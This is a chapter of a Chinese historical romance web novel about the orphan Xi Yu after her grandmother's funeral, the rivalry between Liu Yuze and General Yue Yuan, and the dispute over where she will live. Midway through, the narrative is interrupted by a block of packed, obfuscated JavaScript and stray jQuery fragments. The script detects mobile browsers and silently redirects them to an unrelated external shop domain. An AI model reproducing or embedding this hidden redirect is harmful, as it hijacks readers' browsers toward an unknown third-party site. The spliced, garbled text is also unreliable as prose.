廊灯摇曳的回廊下,奚府的仆从脚步匆忙而过。
不远处的凉亭中,草木掩映,奚毓于柳玉泽正说着话。
三两句叙旧结束,柳玉泽不免安慰起再次痛失亲人的奚毓。
“佩佩,老夫人知晓你来,想必并无遗憾,你莫要过于自责。”柳玉泽轻言细语。
奚毓闻言,鼻尖再次酸涩,知晓柳玉泽已经将事情的来龙去脉打探清楚,他还是那么周全贴心。
“可是,但凡我再早到那么几日,也不至于跟祖母连话都说不上一句……”
最少,她还可以好好陪伴祖母几日。
可现实却是她什么都没做到。
“祖母那人你并非不知,只要你过得好,她不会在乎这些的,你千万要保重好自己的身子,莫要让祖母不安心才是。”
情急之下,柳玉泽不免叫了幼时对奚家祖母的称呼。
这次他才得知奚祖母病重便往江州赶,马不停蹄赶来,才能在停灵第一日便见到自己心心念念的姑娘。
这一次,他无论如何也不能再错过她了。
陷入悲痛情绪的人,并不是那么容易便能听进去旁人的劝诫。
奚毓想到今日一早的遗憾,思及祖母安详的面容,泪水再次决堤。
柳玉泽见状,心痛难当,当即上前一步,想要将人揽入怀中,却又害怕唐突佳人,就这般僵持着。
一整日滴水未进的奚毓再次大悲大恸,忽然晕厥一瞬,好在被柳玉泽扶住。
宽大温热的手掌握上她的臂弯,另一手绕过她的后背,几乎将她整个人搂在怀中,实在逾矩。
还不等奚毓有所动作,便听人问:“还没找到毓姐儿?”
声音低沉浅淡,极为陌生,是柳玉泽从未听到过男声。
手中一空,奚毓已然挣脱,他的心空了一瞬。
道路尽头的树丛后,沉风木着脸看向头也未回的公子。
口中像是问他话,实则并未有半分想要得到他回答的意思,一双眼定定看向凉亭中的男女,身上气息难辨。
话一出口,脚步便已迈出,不多时便到了奚毓和柳玉泽跟前。
“毓姐儿怎的在这?听说大伯回来了,正在哭灵,表叔正找你呢?”
稍稍缓过劲儿来的奚毓一听大伯回来了,再也顾不得方才柳玉泽的失礼,稍稍福了福身便径直离开,竟是不曾看他一眼。
此时的岳渊俨然已经忘记,是他想要与奚毓保持应有的距离。
气息沉冷一瞬,看向柳玉泽的目光变得探究。
柳玉泽收回落到奚毓背上的视线,看向面前之人。
方才岳渊看向奚毓的眼神从柳玉泽脑中一闪而过,不知是不是错觉,他总觉得有些不对。
从他方才对待佩佩的态度以及对奚家、江家之人的称呼便能猜出,此人必定是那名震大景的怀远将军岳渊了。
不论心中对这人是何想法,柳玉泽一贯的风度不容许他冷脸迎人。
“想必您便是怀远将军吧?在下柳玉泽,佩佩这些年劳烦贵府照拂,允之在此道谢,若改日有空,必邀将军小叙。”
话必,柳玉泽朝岳渊深深一礼,做足道谢姿态,也变相宣誓主权。
岳渊对他的行为不躲不避,坦然受之。
只是听到柳玉泽对奚毓的称呼,让岳渊微微疑惑出声:“佩佩?”
柳玉泽意外挑眉:“哦,将军不知吗?这是毓儿的小字,也算是乳名,自小便唤的,习惯了。”
看着那张不知在自得什么的笑脸,岳渊心中轻啧一声,面上却丝毫破绽也无。
“我知晓,只是唤毓姐儿习惯了,更有做兄长的样子,柳兄觉得呢?”
柳玉泽同样笑意未减退,“将军说得不错,但我并非佩佩的兄长,是以,也没那么多顾忌。”
这话更是清晰告知岳渊,他对奚毓的昭然心思。
一个连佩佩小字都不知晓之人,不足为惧。
岳渊鲜少被人堵得哑口无言,这一次,却是因为一个女子的小字。
待柳玉泽从容离开,岳渊才回过神来。
“佩佩……”
口中二字脱口而出,岳渊自嘲一笑。
他这是怎么了?
跟一个莫名其妙的人针锋相对吗?
只是一个寄住在家中,又入梦过几次的姑娘罢了。
此间事了,他们便再无瓜葛。
当真觉得此次江南之行全权是为奔丧而来。
岳渊再次嗤笑一声,转身离开。
自此,除去每日必要的露面,奚府里鲜少见到岳渊的人影。
奚大伯回来后,一应事宜皆有大房照管,奚毓这个彻彻底底的孤女便只需按照长辈的指示行事。
停灵、吊唁……最后到下葬。
一切恢复平静,奚毓期盼的那个人始终不曾出现。
江家大夫人见她这副魂不守舍的模样,心疼她挂念祖母,又是将人好一顿安抚。
可成群结队的人中,或许只有时不时骂着姑母不孝的大伯才能勉强得知,她最期盼出现在这里的人究竟是谁。
奚老夫人的丧事结束,奚大伯便要启程回辽州。
临走时找到奚毓,询问她是否想要跟随他一道走。
奚毓看了看大伯才迎进门,比她大不了几岁的大伯母,终究摇了摇头。
奚大伯叹息一声,“不去也好,辽州苦寒,哪是你待的地方。不过再过一段时日大伯便能回江州做官,届时你再回来。”
奚毓闻言,只点点头。
见大伯要走,她像是忽然想起什么,问道:“大伯,姑母远嫁前夕,你可知究竟出了何事?”
奚大伯脚步一顿,扭头看向奚毓的视线犀利几分,虽极快收回,却还是被奚毓捕捉。
奚毓心念微转,直觉其中必然有隐情。
她虽年幼,却也知晓姑母必然不是那等薄情寡义之人,若非出事,岂会连祖母过世都不回家。
“你姑母……”
奚大伯重重叹一口气,“既然你想知道,那告诉你也无妨。”
说着,奚大伯便将当初奚姑母如何为了一个穷书生与才丧子丧媳的继母争执对抗一事一一说出。
“你姑母就是被那穷小子骗了,否则为何多年杳无音信,连你祖母……”说到最后,竟是哽咽难言。
奚毓垂眸,不知信没信,只是不再言语。
“你爹给了留了不少好东西,该用就用。在侯府莫要苛待自己,也不要丢了咱们奚家的脸面。”说到最后,奚大伯嘱咐起奚毓来。
只是在奚毓看不见的地方,一双眼睛带着打量。
*
奚府白事过去许多日,岳渊仍旧早出晚归。
只听人说他遍访江州好友,江家虽对他此举不算满意,但毕竟侯府门第高,又对自家子侄有养育之恩,只好当作没看见。
奚毓这段时日总是疲惫无神,最常做的事便是抱着祖母给她的信件,一遍遍地看,像是奚祖母的音容笑貌能重现眼前一般。
待奚家祖母过了五七这日,奚毓半夜发起了高热,赵嬷嬷和流月才一时不察,这高热便持续不断。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766348|209709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>连自小便跟着自家夫人学习医理的流月都险些束手无策。
也就在奚毓病重之时,并不知晓岳渊为了她,差点跟江家人吵起来。
起因便是江家大老爷要求奚毓日后留在江州,由江家照拂。
人是岳渊带来的,若贸然将小姑娘留在江州,虽是亲戚家,但各高门大院的腌臜事他并非不知。
小姑娘爹娘留给她的东西不少,加之奚祖母生前费心为她操劳的种种,奚毓可说身家富足。
连日相处下来,虽看着江家众人还算不错,但人心易变,岳渊可不想干这种吃力不讨好的蠢事。
她是老头子义弟的女儿,也是老头子自己答应要照拂的人,自然得老头子自己来解决此事。
修书一封送往京城。
果然,昌平侯不同意,极力要求岳渊将人带回。
岳渊也不知心中是何想法,明明是意料之中的事,可但他看到昌平侯的那封信时,心蓦然一松,像是有了更多的底气。
“当初是我们江家无能,护不住姑母和毓姐儿,但如今与往日不同,毓姐儿由我们照顾,合情合理。”
“岳将军,我知晓侯府爱重毓姐儿,但她祖母才走,又病魔缠身,还是让她留下吧。”
江大老爷和江大夫人一个唱红脸一个唱白脸,动之以情晓之以理,想要以此震慑住面前的年轻人。
但岳渊也只是人看着年轻,经历却不少。
他稍稍起身,在江府待客堂转了几圈,步履从容气度不凡,甚至连说出的话都温和不带锋芒,但那种浑然天成、自幼便出生优渥的高贵还是让人难以忽视。
“据我所知,大老爷官拜五品,二老爷官拜六品,在江州一门二进士不可多得,但在京城便不算多么难得。”
“江府条件不错,但这些,毓姐儿怕是用不惯。”
话虽说得柔和,但任谁听了都觉得不舒服,江大老爷当即便脸红脖子粗道:“我们江家门庭低,比不上侯府,我兄弟二人的小官,也是我二人努力挣得,便是家贫又如何,不丢人!”
岳渊闻言,朝两位老爷一礼,“晚辈年轻不会说话,还望两位长辈见谅。”
“方才言行无状,但晚辈所忧并非师出无名。”
岳渊顿了顿,“想必此次各位长辈也见到了,毓姐儿容貌无双,长辈们见多识广,必然比我更懂得这其中深意。”
“江州偌大,防得住君子防不住小人。”
“再者,毓姐儿如今也到了议亲的年纪,有了侯府做靠山,日后就算是嫁到江州,也能让婆家高看一眼不是?”
江家众位长辈被他这忽高忽低的姿态弄得回不过神,还不待江大老爷继续说什么,便听岳渊又道:“祖母和我爹都在信中言明,必须将毓姐儿带回京城,晚辈知晓长辈们爱护毓姐儿,但侯府也是她的家,总不能让我那年迈的祖母和侯爷父亲,失信与自己的好友和义弟不是?”
“还望诸位长辈成全。”说罢,岳渊又是一礼。
这下,江二老爷总算受不住起身扶起岳渊。
这可是未来的侯爷,如今官拜三品的指挥使,头一次是敬重长辈,这后一次若还不表态,便是他们不识好歹了。
江二老爷更为圆滑些,将其中利弊再与长兄商议一番,江大老爷终究还是松了口。
之后,江大夫人和二夫人一道去看望奚毓时,将今日之事一说。
奚毓得知岳渊那套说法,想到自己日后要办的事,咬了咬牙,答应回侯府。
没错,她总归是需要靠山和助力,才能回到江州,为父母洗刷屈辱。